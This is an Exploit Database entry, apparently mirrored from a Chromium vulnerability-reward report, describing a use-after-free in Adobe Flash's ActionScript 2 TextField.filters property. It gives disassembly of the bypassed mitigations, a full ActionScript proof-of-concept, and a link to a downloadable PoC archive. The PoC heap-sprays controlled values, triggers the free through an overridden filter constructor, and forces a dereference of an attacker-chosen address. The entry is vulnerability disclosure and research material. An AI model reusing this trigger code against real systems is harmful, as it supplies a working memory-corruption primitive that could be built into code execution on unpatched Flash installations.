Adobe Flash AS2 – textfield.filters Use-After-Free (3)

• Exploit Database
• 17 阅读

• 作者： bilou
  日期： 2015-08-19
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/37883/

• Source: https://code.google.com/p/google-security-research/issues/detail?id=444&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
  
  [Tracking for https://code.google.com/p/chromium/issues/detail?id=498984]
  
  Credit is to bilou, working with the Chromium Vulnerability Rewards Program.
  
  ---
  VULNERABILITY DETAILS
  There is a use after free vulnerability in the ActionScript 2 TextField.filters array property.
  
  This isIssue 457278resurrected. Again.
  
  VERSION
  Chrome Version: [43.0.2357.124, Flash 18.0.0.160]
  Operating System: [Windows 7 x64 SP1]
  
  REPRODUCTION CASE
  There is a use after free vulnerability in the ActionScript 2 TextField.filters array property.
  
  This isIssue 457278resurrected. Again.
  
  When the TextField.filters array is set, Flash creates an internal array holding the filters. When the property is read, Flash iterates over this array and clones each filter. During this loop, it is possible to execute some AS2 by overriding a filter's constructor. At that moment, if the AS2 code alters the filters array, Flash frees the internal array leaving a reference to freed memory in the stack. When the execution flow resumes to the loop, a use-after-free occurs.
  
  Flash 17.0.0.169 added a flag to mitigateIssue 457278 
  .text:004D6F0B mov esi, [esp+2Ch+var_C]
  .text:004D6F0F push1 ; char
  .text:004D6F11 mov ecx, edi; int
  .text:004D6F13 mov byte ptr [esi+0Ch], 1 ; this flag was added
  .text:004D6F17 callxparseAS2Code
  .text:004D6F1C mov byte ptr [esi+0Ch], 0
  
  Flash 18.0.0.160 added an other flag to mitigateIssue 476926 
  .text:004D6E3E loc_4D6E3E:
  .text:004D6E3E cmp byte ptr [ebp+0Ch], 0 ; this flag was added
  .text:004D6E42 lea eax, [ebp+0Ch]
  .text:004D6E45 mov [esp+2Ch+var_8], eax
  .text:004D6E49 jzshort loc_4D6E58
  .text:004D6E4B mov ecx, dword_E50A40
  .text:004D6E51 callsub_967730
  .text:004D6E58
  .text:004D6E58 loc_4D6E58:
  .text:004D6E58 mov byte ptr [eax], 1
  .text:004D6E5B jmp short loc_4D6E65
  
  
  But they didn't figure it was possible to execute AS2 code a bit above in the function:
  .text:004D6E6F mov eax, [ebp+0]
  .text:004D6E72 push0
  .text:004D6E74 lea edx, [esp+34h+var_14]
  .text:004D6E78 pushedx
  .text:004D6E79 mov edx, [eax+14h]
  .text:004D6E7C mov ecx, ebp
  .text:004D6E7E calledx; return the filter name
  .text:004D6E80 pusheax
  .text:004D6E81 lea eax, [esp+3Ch+var_10]
  .text:004D6E85 pusheax
  .text:004D6E86 mov ecx, edi
  .text:004D6E88 callxcreateStringObject
  .text:004D6E8D mov ebx, [esp+38h+arg_4]
  .text:004D6E91 pusheax
  .text:004D6E92 pushecx
  .text:004D6E93 mov eax, esp
  .text:004D6E95 mov ecx, edi
  .text:004D6E97 mov [eax], ebx
  .text:004D6E99 callsub_420400; execute some AS2 with a custom __proto__ object
  
  For ex:
  var oob = {}
  oob.__proto__ = {}
  oob.__proto__.addProperty("GlowFilter", function () {f(); return 0x123}, function () {}); 
  flash.filters = oob
  
  
  Tested on Flash Player standalone 18.0.0.160, and Chrome 43.0.2357.124.
  That should crash while dereferencing 0x41424344.
  
  Compile with Flash CS 5.5.
  
  
  ***************************************************************************
  Content of FiltusPafusTer.fla
  
  import flash.filters.GlowFilter;
  
  var a1:Array = new Array()
  var a2:Array = new Array()
  for (i = 0; i<0x50/4;i++) {
  	a2[i] = 0x41424344
  }
  
  for (var i = 0; i<0x200;i++) {
  	var tf:TextFormat = new TextFormat()
  	a1[i] = tf
  }
  for (var i = 0; i<0x200;i++) {
  	a1[i].tabStops = a2
  }
  
  var tfield:TextField = createTextField("tf",1,1,2,3,4)
  var glowfilter:GlowFilter = new GlowFilter(1,2,3,4,5,6,true,true)
  tfield.filters = [glowfilter]
  
  
  function f() {
  	for (var i = 0; i<0x20;i++) {
  		_global.a1[0x100+i*4].tabStops = [1,2,3,4]
  	}
  
  	_global.tfield.filters = []
  	for (var i = 0; i<0x200;i++) {
  		_global.a1[i].tabStops = a2
  	}
  	
  }
  
  _global.tfield = tfield
  _global.a1 = a1
  _global.a2 = a2
  
  var oob = {}
  oob.__proto__ = {}
  oob.__proto__.addProperty("GlowFilter", function () {f(); return 0x123}, function () {}); 
  flash.filters = oob
  
  var a = tfield.filters
  
  ---
  
  Proof of Concept:
  https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37883.zip